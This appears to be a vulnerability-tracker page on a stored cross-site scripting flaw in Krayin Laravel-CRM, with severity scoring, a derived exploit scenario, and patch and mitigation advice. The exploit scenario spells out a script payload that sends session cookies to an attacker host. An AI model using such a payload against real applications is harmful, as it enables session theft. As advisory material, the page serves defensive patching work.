EUVD-2026-18484Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | The CVSS score of 5.1 (medium) is appropriately calibrated given the authentication requirement, user interaction dependency, and limited impact scope (integrity only, no confidentiality or availability effects). The EPSS vector notation (E:P) indicates publicly available exploit code enhances real-world risk beyond the base CVSS assessment. From an SSVC perspective, this is a prioritized vulnerability: exploitation is publicly available (not theoretical), the attack is network-accessible (not local-only), automatable payload delivery is feasible via mail composition workflows, and the technical impact is moderate (user trust/data integrity). However, the requirement for authenticated access (PR:L) significantly limits the attack surface compared to unauthenticated XSS, and the user interaction requirement (UI:P) means victims must actively view the malicious content. Organizations with multi-user Krayin deployments where user-to-user mail/notes are common should prioritize patching; single-user or admin-only CRM instances face lower risk. |
| Exploit ScenarioDerived | An authenticated user with low-level CRM access (e.g., sales representative) crafts a mail message or note containing embedded JavaScript (e.g., <script>fetch('attacker.com/steal?cookie='+document.cookie)</script>) via the composeMail function. When a colleague or manager views that message or note through the Activities/Notes Module UI, the script executes in their browser context, potentially stealing session cookies, redirecting them to a phishing page, or modifying displayed CRM data. Publicly available exploit code (linked in GitHub issue 2419) reduces the barrier to weaponization, making this a practical attack for threat actors with legitimate CRM credentials or those who have compromised a low-privilege account. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 02, 2026
Stored cross-site scripting (XSS) in Krayin Laravel-CRM up to version 2.2 allows authenticated users with low privileges to inject malicious scripts via the composeMail function in the Activities/Notes Module, which are then executed when other users view the content. The vulnerability requires user interaction (UI:P) but has confirmed publicly available exploit code and a vendor-released patch (commit 73ed28d466bf14787fdb86a120c656a4af270153), making it a moderate priority for deployments where multiple users interact with notes and mail features.
RemediationAI
Apply the vendor-released patch from commit 73ed28d466bf14787fdb86a120c656a4af270153 via GitHub pull request 2466. This can be implemented by updating Krayin Laravel-CRM to a version that includes this commit (versions after the patch merge date). Users should verify the exact patched version number from the Krayin project releases page at https://github.com/krayin/laravel-crm/releases. In the interim, restrict mail composition and notes features to trusted administrators only, or implement web application firewall rules to sanitize or block script tags in mail/notes input fields. The vendor advisory and detailed patch information are available at https://github.com/krayin/laravel-crm/pull/2466 and https://github.com/krayin/laravel-crm/issues/2419.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected or stored XSS vulnerability (CWE-79) in the composeMail function within the e2e test file structure of Krayin's Laravel-CRM Activities/Notes Module. The CVSS v4.0 vector shows the attack requires network access (AV:N), low attack complexity (AC:L), authenticated privileges (PR:L), and user interaction (UI:P), with integrity impact (VI:L) on the application's data representation. Laravel-CRM is a customer relationship management system built on the Laravel framework, and the vulnerability exists in the mail composition component where user-supplied input is not properly sanitized before being rendered in the UI, allowing script injection.
Know when Krayin gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from Vendor (VulDB) · only source for this CVE.
CVSS VectorVendor: VulDB
Lifecycle Timeline
5DescriptionCVE.org
A vulnerability was identified in krayin laravel-crm up to 2.2. Impacted is the function composeMail of the file packages/Webkul/Admin/tests/e2e-pw/tests/mail/inbox.spec.ts of the component Activities Module/Notes Module. The manipulation leads to cross site scripting. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The identifier of the patch is 73ed28d466bf14787fdb86a120c656a4af270153. To fix this issue, it is recommended to deploy a patch.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Administrative account takeover in Krayin CRM (Laravel CRM) 2.2.4 lets unauthenticated remote attackers overwrite the pr
Blind SQL injection in Krayin CRM's leads DataGrid allows any authenticated user with leads access to exfiltrate the ent
Broken object-level authorization in Krayin CRM (Laravel CRM) through version 2.2.3 lets any authenticated user tamper w
Unauthenticated remote users can still reach the installer and admin-config-setup endpoints of Krayin CRM (laravel-crm)
Missing authentication on Krayin CRM's admin mail ingest route lets any remote, unauthenticated attacker POST crafted RF
Improper privilege management in Krayin laravel-crm up to and including 2.2.5 lets an authenticated back-office user who
An insecure direct object reference (IDOR) in Krayin laravel-crm through version 2.2.5 allows any authenticated user to
Improper access control in Krayin Laravel CRM through 2.2.5 allows an authenticated low-privilege admin user to access a
Cross-site scripting in Krayin Laravel CRM through 2.2.5 lets an authenticated user with access to the admin configurati
Stored cross-site scripting in Krayin CRM (laravel-crm) up to and including version 2.2.5 lets an authenticated administ
Stored cross-site scripting in Krayin laravel-crm (versions up to and including 2.2.5) lets an authenticated user with a
Stored client-side template injection in Krayin CRM through 2.2.6 allows an authenticated user with rights to create or
Exploit-DB